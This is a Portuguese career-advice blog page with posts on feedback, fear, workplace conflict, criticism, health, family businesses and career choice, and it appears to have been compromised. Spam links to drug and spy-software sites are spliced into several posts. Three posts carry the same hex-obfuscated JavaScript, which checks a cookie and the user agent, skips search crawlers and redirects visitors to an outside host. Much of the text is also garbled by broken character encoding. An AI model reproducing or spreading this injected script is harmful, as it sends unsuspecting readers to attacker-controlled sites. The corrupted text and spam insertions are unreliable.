Como pedir um feedback?
http://www.brellawine.com/spy-software-localizador-gps-movil/ http://ameg.org.mx/where-to-buy-antivert/ Q http://blog.mgkglobal.com/?p=10809 ualquer profissional, seja recAi??m-contratado ou mais antigo na empresa, tem necessidade de saber como estA? o seu desempenho. PorAi??m, nem sempre as empresas possuem sistemas de gestA?o de desempenho instituAi??dos, e, portanto, a prA?tica de feedback passa a ser uma iniciativa gerencial, cabendo aos gestores a decisA?o de fazer ou nA?o. Neste contexto, o que o profissional pode fazer para acompanhar seu desempenho e saber se estA? atendendo aos interesses da organizaAi??A?o?
Quando a prA?tica do feedback depende do estilo de gestA?o das lideranAi??as, abordar o gestor imediato acaba sendo a melhor alternativa para conseguir ter acesso Ai?? avaliaAi??A?o. Como nem sempre essa situaAi??A?o Ai?? confortA?vel, muitas vezes o profissional fica com receio de fazer essa abordagem, por medo de se mostrar inseguro ou ansioso demais, ou por nA?o querer incomodar. PorAi??m, se a A?nica forma de saber como seu desempenho estA? sendo visto Ai?? perguntando, vocA? deve, sim, criar as condiAi??Ai??es para fazA?-lo.
Mostrar que estA? interessado em saber o que pensam de vocA? demonstra interesse em progredir na carreira. EntA?o, entenda esta iniciativa como uma oportunidade. Muito pior Ai?? esperar algum problema aparecer para ser chamado para uma conversa de enquadramento ou atAi?? mesmo de desligamento. PorAi??m, antes abordar o seu gestor, atente para algumas dicas:
ai??? Escolha um momento em que ele esteja bem para pedir o feedback ai??i?? nem com pressa, nem irritado ou preocupado;
ai??? Ao solicitar a conversa, antecipe suas intenAi??Ai??es. Diga, por exemplo, que quer falar sobre como se sente no trabalho e saber a opiniA?o dele sobre o seu desempenho;
ai??? Durante a conversa, acolha o que Ai?? dito, anote as principais questAi??es para valorizar o momento e agradeAi??a pela oportunidade;
ai??? ApA?s receber o feedback, a recomendaAi??A?o Ai?? pegar as anotaAi??Ai??es e pensar em como vocA? pode resolver cada ponto de atenAi??A?o. Mostre que as orientaAi??Ai??es nA?o ai???entraram por um ouvido e saAi??ram por outroai???. Coloque em prA?tica os conselhos dados para manter a porta aberta para orientaAi??Ai??es futuras.
Por fim, nA?o se sinta intimidado caso, em um primeiro momento, o gestor se mostre surpreso com a solicitaAi??A?o e desconfortA?vel para avaliar. Com o tempo, ele irA? atentar que esta Ai?? uma prA?tica saudA?vel e pode acabar incorporando-a em seu dia a dia.
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Como tirar proveito do medo?
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Ai?? http://blog.mgkglobal.com/?p=10813 comum ouvirmos profissionais relatando sentimentos de medo, inseguranAi??a ou receio quando se deparam com situaAi??Ai??es que saem da sua zona de conforto. Mas como Ai?? possAi??vel tirar proveito desses sentimentos?
No A?mbito do trabalho, vA?rias sA?o as situaAi??Ai??es que nos tiram da conhecida rotina e nos fazem confrontar com o desconhecido: mudar de chefia ou de equipe, ser convidado para assumir um novo desafio, ou, simplesmente, ser convocado a falar sobre algum assunto para um pA?blico mais exigente, por exemplo. Enfim, essa lista poderia ser muito mais longa, afinal, sA?o inA?meros os desafios com os quais temos que conviver no dia a dia profissional e que somos obrigados a enfrentar se queremos ser bem sucedidos na carreira.
O ponto chave da questA?o estA? na forma como encaramos esse medo. O pior cenA?rio Ai?? aquele em que o sentimento Ai?? tA?o forte que paralisa e o profissional nA?o consegue avanAi??ar. Essas pessoas, sem dA?vida, terA?o mais dificuldade de se destacar. JA? outros conseguirA?o tirar melhor proveito da situaAi??A?o usando o medo a seu favor: quando inseguros, investem nas condiAi??Ai??es e no preparo necessA?rio para enfrentar o desafio em questA?o.
Mas atenAi??A?o, nA?o ter medo ou negA?-lo nA?o Ai?? uma boa saAi??da. As pessoas que se dizem muito seguras, tranquilas ou competentes para encarar a situaAi??A?o sem uma autoanA?lise mais crAi??tica correm mais risco de ai???cair em armadilhasai??? como, por exemplo, assumir responsabilidades quando nA?o tA?m o preparo suficiente. O excesso de confianAi??a pode prejudicar a qualidade das entregas na medida em que o investimento em preparar algo diferente do comum nA?o acontece.
Enfim, o medo pode, sim, te prejudicar, mas, sabendo lidar com esse sentimento, Ai?? possAi??vel tirar um bom proveito da situaAi??A?o e transformA?-la numa boa oportunidade de desenvolvimento de novas competA?ncias e crescimento profissional. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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N http://ameg.org.mx/cheap-nasonex-nasal-spray/ o ambiente de trabalho, existem situaAi??Ai??es em que teremos que lidar com pessoas que nA?o gostamos, seja por falta de identificaAi??A?o ou por algum conflito existente. Entretanto, nA?o ter maturidade para lidar com problemas interpessoais pode comprometer o desempenho das atividades e prejudicar a sua imagem enquanto profissional.
Por maior que seja o conflito com um colega de trabalho, nA?o cabe de forma alguma tentar repassar a dificuldade para a empresa e pressionar para que seja feita uma escolha por um dos profissionais, com o argumento de que a situaAi??A?o estA? muito desconfortA?vel e vocA? nA?o consegue conviver com o problema. Esse tipo de posicionamento nA?o surte efeito positivo e, pelo contrA?rio, darA? publicidade a uma intriga pessoal deixando para vocA? a imagem de quem nA?o consegue separar as duas coisas.
Claro que nA?o Ai?? preciso forAi??ar laAi??os de amizade com uma pessoa com a qual vocA? nA?o tem afinidade ou nA?o gosta, mas manter o respeito e um enquadramento profissional Ai?? imprescindAi??vel. Nesse sentido, quando algum conflito acontecer, o ideal Ai?? tratar com serenidade e equilAi??brio para que a situaAi??A?o nA?o se transforme em um problema maior do que sua capacidade de administrA?-lo, causando prejuAi??zos Ai?? equipe e aos resultados do trabalho.
Para quem estA? na posiAi??A?o de gerenciar duas pessoas com problemas pessoais de relacionamento, a recomendaAi??A?o Ai?? estimular que as partes se entendam, inclusive, oferecendo-se para mediar uma conversa, pactuando alguns acordos para uma convivA?ncia produtiva.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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http://bizphone.co.il/purchase-lady-era-review/ http://www.brellawine.com/write-my-essay/ 
S http://ameg.org.mx/nombre-generico-del-micardis/ eja vindo do gestor, de um colega de trabalho ou de um cliente, nunca Ai?? fA?cil lidar com uma crAi??tica ao nosso desempenho. Entretanto, o feedback negativo faz parte do dia a dia de qualquer profissional e pode sim ser transformado em algo positivo.
Quando alguAi??m Ai?? surpreendido por uma avaliaAi??A?o negativa, a reaAi??A?o mais tAi??pica Ai?? negar. Entretanto, mesmo quando nA?o se concorda com a avaliaAi??A?o, Ai?? preciso que o profissional compreenda que, muito provavelmente, algum comportamento estA? fazendo com que sua imagem fique comprometida, mesmo que de forma nA?o intencional.
Ai?? claro, nA?o Ai?? fA?cil lidar com a situaAi??A?o de crAi??tica, ainda mais quando nA?o a reconhecemos. Mas uma reflexA?o Ai?? vA?lida nesses casos: nA?o tente tratar o fato buscando quem estA? certo ou errado. A?s vezes, Ai?? mais estratAi??gico apenas considerar o que foi dito e tentar mudar a forma como estA? sendo visto, afinal, Ai?? a sua imagem profissional que estA? em jogo.
Outra situaAi??A?o tambAi??m frequente, e talvez ainda mais difAi??cil de lidar, Ai?? aquela em que o profissional recebe a crAi??tica, reconhece as dificuldades apontadas, mas nA?o faz a mudanAi??a necessA?ria capaz de reverter a percepAi??A?o sobre o seu mau desempenho. Seja porque jA? foram feitas algumas tentativas, porAi??m sem provocar o efeito desejado, ou porque a avaliaAi??A?o nA?o causou a pressA?o necessA?ria para que a mudanAi??a de conduta acontecesse, o fato Ai?? que o profissional nA?o consegue avanAi??ar.
Nesses casos, pode ser mais prudente reconhecer quando existe uma limitaAi??A?o de perfil para a atividade em questA?o var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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O trabalho ocupa uma grande parte da nossa vida, já que passamos, em média, oito horas por dia, durante cinco dias por semana, ou até mais tempo, dedicando nossa atenção e energia à atividade profissional. E por que, afinal, ter um trabalho pelo qual sejamos “apaixonados” pode ser, além de um privilégio, um risco para o profissional?
Estamos falando da associação direta que existe entre a paixão ou gosto por determinadas atividades e a dificuldade de administrar o próprio tempo. Algumas pessoas quando gostam muito de uma atividade que desempenham, acabam dedicando tempo excessivo a ela e deixando de lado outras demandas que também são importantes para o resultado do trabalho.
Por exemplo, profissionais prestadores de serviços que gostam e valorizam o momento do contato com o cliente, costumam gastar mais tempo do que o necessário nas reuniões externas e acabam prejudicando as atividades de bastidores, ditas “de escritório”. Entendemos sim que faz a diferença quando se é apaixonado pelo o que faz, mas isso não significa que não seja preciso estabelecer alguns limites e saber dividir o próprio tempo sem cair nas armadilhas do dia a dia.
Pode ajudar muito fazer um planejamento diário ou semanal, contemplando as atividades e determinando o tempo para cada um delas. Mesmo assim, somente planejar pode não ser suficiente, pois ainda restará saber se o profissional conseguirá respeitar e cumprir com o programado. Outra recomendação importante é regular a disponibilidade e saber fazer os enquadramentos necessários, inclusive dizendo não sempre que o planejado estiver em risco.
Voltando ao exemplo dos prestadores de serviço, é muito comum na relação com o cliente ter dificuldade de estabelecer limites e se, quando se dão conta, o tempo já passou, o profissional terá dificuldades de entregar seus projetos, cumprir prazos, dar retornos, etc.
Não descuide da saúde
Em nome da pressão no trabalho e da falta de tempo, as pessoas, em geral, estão desconsiderando os cuidados com a saúde. Por isso, é cada vez mais comum, hoje em dia, encontrarmos profissionais que apresentam picos de pressão, quadros de ansiedade ou que estão constantemente cansados e adoentados. É claro que o trabalho não pode ser deixado de lado, mas, em algum momento, a falta de atenção e cuidado com a própria saúde irá cobrar seu preço.
Ter um corpo e uma mente saudável está diretamente ligado à produtividade e motivação na vida profissional. Além disso, as empresas não gostam de profissionais que estão constantemente doentes, por mais compreensivas que sejam. Por isso, é preciso administrar a carga de trabalho em função das nossas condições físicas e emocionais, atentando para os sinais do corpo. Afinal, todo mundo tem suas limitações.
O segredo, então, é se cuidar de forma preventiva, do contrário podemos adoecer com mais facilidade e aí teremos que arrumar tempo para nos cuidar. Nesse caminho, incluir algumas atitudes no nosso dia a dia pode ajudar:
1. Faça exames completos de rotina pelo menos uma vez por ano;
2. Cuide do que você come. Evite pular refeições ou ter como base da sua alimentação comidas sem valor nutricional como lanches e congelados;
3. Cuide do sono. Procure dormir as horas necessárias para o bem-estar do seu corpo e mente;
4 Faça atividades físicas ou de relaxamento que ajudem a canalizar o estresse, como corrida, pilates, yoga, boxe, entre outras;
5. Busque fazer atividades prazerosas nas horas vagas. É importante dedicar um tempo do dia para si mesmo.
Em resumo, é preciso saber reconhecer os próprios limites e não priorizar tanto o trabalho a ponto de negligenciar a si mesmo.
As empresas familiares representam cerda de 50% do PID do país. É natural que seus fundadores, pensando na continuidade do negócio, invistam no planejamento sucessório contando principalmente com seus filhos, sobrinhos e netos no comando da organização. Entretanto, para esses jovens que optarem por construir suas carreiras na empresa da família, é válido refletirem sobre como buscar ser reconhecido profissionalmente não sendo vistos apenas como “filhos, sobrinhos ou netos do dono”.
Em primeiro lugar, a entrada na empresa da família precisa ser uma escolha por identificação com o negócio e perfil de competência. A situação já começa errada se alguém escolher, por exemplo, entrar apenas ter emprego e renda garantidos fazendo pouco esforço ou por falta de oportunidade no mercado de trabalho. Passada essa etapa e se realmente trabalhar na empresa da família for a escolha do profissional e da organização, vale seguir algumas dicas:
1. Haja de acordo com o seu cargo na empresa. É preciso se colocar como parte da equipe em que está incluído, seguindo as regras que valem para todos;
2. É importante não usar o vínculo familiar para usufruir de um lugar diferente na empresa, como, por exemplo, usar a secretária da diretoria para assuntos pessoais, usar a sala do pai, enfim, solicitar “favores” que possam reforçar uma relação privilegiada por ser alguém da família do dono;
3. Quando tiver problemas ou discordâncias em casa, não leve esses assuntos para serem tratadas no trabalho e vice-versa. O que acontece na família deve permanecer na família;
4. Cuidado para não atropelar a hierarquia. Usar o acesso que tem à família para resolver questões da equipe em que faz parte não é recomendado. Deixe que o gestor trate dos assuntos referentes à equipe, pois isso é parte da função dele.
Em resumo, manter o enquadramento adequado e ter uma atitude profissional vai fazer com que o reconhecimento e respeito pela sua competência aconteçam naturalmente.
Ao longo da vida temos que fazer várias escolhas, mas uma das mais difíceis é a escolha profissional. E o que vemos atualmente são jovens, recém-saídos da adolescência, tendo que tomar uma decisão muito importante e que poderá definir seu futuro.
Na hora de fazer a escolha profissional, os jovens de hoje são bombardeados pelas inúmeras oportunidades de carreiras existentes e ainda precisam lidar com a pressão dos pais e dos seus grupos de amizades. Mas o grande problema é que, na maioria das vezes, esses jovens não têm conhecimento nem informações suficientes para escolher uma carreira; às vezes têm uma imagem idealizada da profissão, sem entender o que, de fato, ela é na prática.
E quando a escolha é feita pelos motivos errados, o que acontece é que, no futuro, o profissional pode se ver em uma encruzilhada. A falta de identificação com a profissão pode gerar muita insatisfação e desmotivação com a própria carreira. Tudo isso porque, lá no início, ele fez uma escolha equivocada.
Em resumo, não adianta tomar uma decisão tão importante por pressão, sem conhecimento ou só para “fazer uma frente” com os familiares ou amigos. Se o jovem não se sente seguro com a escolha, pode ser melhor adiar um pouco a entrada na faculdade para tomar uma decisão mais consciente e com mais chances de sucesso. Pior será iniciar uma gradução e depois de dois ou três anos ter certeza de que não era o que queria.
Mas neste meio tempo, vale seguir algumas dicas que poderão ajudar na escolha: faça uma orientação vocacional, busque informações sobre a profissão desejada, visite empresas que atuam na sua área de interesse, converse com profissionais para entender a realidade do mercado ou até mesmo invista em cursos tecnólogos, que são menos extensos e já inserem o jovem no mercado de trabalho. E lembre-se: essa é uma escolha individual e que deve ser levada a sério. Mas, se mesmo depois de ter escolhido com cautela, a carreira não se mostrar como o esperado, nada nos impede de mudar de trajetória.
Diante de um cenário econômico instável, em que as oportunidades de emprego estão reduzidas, os profissionais precisam estar mais abertos para encarar desafios às vezes diferentes do seu projeto de carreira. Entretanto, essa flexibilidade, apesar de necessária, tem que ser feita com cuidado.
Muitas vezes, diante de pressão de estar sem emprego e da falta de oportunidade na sua área de atuação, os profissionais precisam ampliar os horizontes e partir em busca de vagas em funções diferentes daquelas onde têm a experiência já consolidada. Mas é preciso, antes de tudo, cuidar para não cair em armadilhas, como mudar radicalmente de trajetória profissional, entrar em empresas que não agregam ao currículo ou até mesmo se colocar em uma situação de incompetência.
Isso porque quando resolvemos concorrer a um cargo sobre o qual não temos conhecimento nem experiência, com funções que não dominamos ou não temos afinidade, corremos um sério risco de fracassar, o que com certeza deixará uma mancha em nosso currículo. Vale lembrar que a mudança de rota pode ser uma oportunidade ou uma ameação à carreira profissional, quando não há perfil requerido ou identificação com a nova atividade.
Tenha visibilidade de até onde você pode ir, quais são as suas competências e quais funções tem capacidade de assumir. Se não tem facilidade com cálculos, por exemplo, não se coloque em um cargo que exija lidar com números. Ou se não tem disponibilidade para viajar várias vezes ao mês, não concorra a uma função em que viajar seja exigência.
E caso opte realmente por uma mudança mais radical, antes de assumir, veja o que precisa ser ajustado para que tenha êxito. Planeje junto com a empresa os investimentos e as condições que serão necessárias para que os resultados possam ser alcançados, considerando o seu momento de aprendizado ou adaptação.
Não tenho uma boa relação com meu gestor imediato. Não me sinto à vontade para me aproximar e nem tenho confiança para tratar de questões mais delicadas com ele. O que fazer?
De fato, não é uma situação confortável, afinal, um bom relacionamento com o gestor é fundamental para o desenvolvimento do trabalho e quando isso não está acontecendo é importante parar para refletir um pouco e buscar alternativas de melhoria. Até porque, na maioria das empresas não é possível escolher quem vai nos gerenciar e com quem vamos trabalhar, portanto, se a intenção é manter-se no emprego, resgatar a relação com o chefe é o melhor a ser feito.
Um primeiro passo importante neste caminho é identificar quais são os motivos dessa desconfiança; tentar recordar se realmente é fundamentada em acontecimentos recorrentes, se foi gerada por algum episódio pontual ou se é fruto de algum tipo de preconceito. Muitas vezes, nos deixamos levar por impressões que não são necessariamente nossas – comentários de colegas que podem não condizer com a realidade, ou por posturas já superadas, mas que ficaram cristalizadas à imagem do gestor.
A dificuldade também pode estar ancorada na falta de sintonia entre as duas partes, seja por diferenças de estilo, de culturas, etc. Independente do motivo, é essencial fazer essa reflexão e buscar uma solução possível. Uma dica é tentar mudar a forma de enxergar o problema e procurar algo de positivo nessa relação: características comuns ou momentos em que a contribuição do chefe tenha sido válida.
Mas, mesmo fazendo esse investimento na relação, ainda assim é possível que o mal estar permaneça. Nesses casos, a recomendação é sempre deixar todas as questões relativas ao trabalho muito bem pactuadas e formalizadas: resultados esperados, metas, acordos de trabalho etc. Tudo isso para não correr o risco de deixar espaço para mal-entendidos que possam piorar ainda mais a desconfiança.
No fim das contas, a grande recomendação é tratar a questão o mais profissionalmente possível, sem levar as dificuldades para o campo pessoal nem fazer tempestade em copo d’água. É preciso ficar atento e preservar o objetivo comum que é gerente e equipe trabalhando para contribuir com o sucesso da empresa.
